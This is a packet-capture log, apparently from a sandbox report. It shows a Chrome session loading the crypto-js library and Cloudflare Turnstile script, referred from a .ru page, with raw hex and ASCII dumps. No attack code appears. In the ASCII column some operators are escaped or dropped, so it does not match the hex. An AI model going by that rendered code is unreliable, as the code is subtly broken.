2025-01-09 03:28:34 UTC	651	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cciq.absousium.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:34 UTC	959	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 51125 Expires: Tue, 30 Dec 2025 03:28:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iwgs7jCf9RVL0vngWZeAlX7TbrFo5VmDoN%2BscWVHUUpRvsEnId9BjP%2BhehTYTXaBBFXbp2JKxAzleQJhrvcdUoLAIyf5G3ts%2BGCySlNecreMJzQshl6FJ%2FQ5QTeWtxZi51WtUPAD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ff15685e9e74331-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:34 UTC	410	IN	Data Raw: 37 62 65 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bea!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49725	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:34 UTC	648	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cciq.absousium.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:34 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:34 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ff156897a708ccc-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:34 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 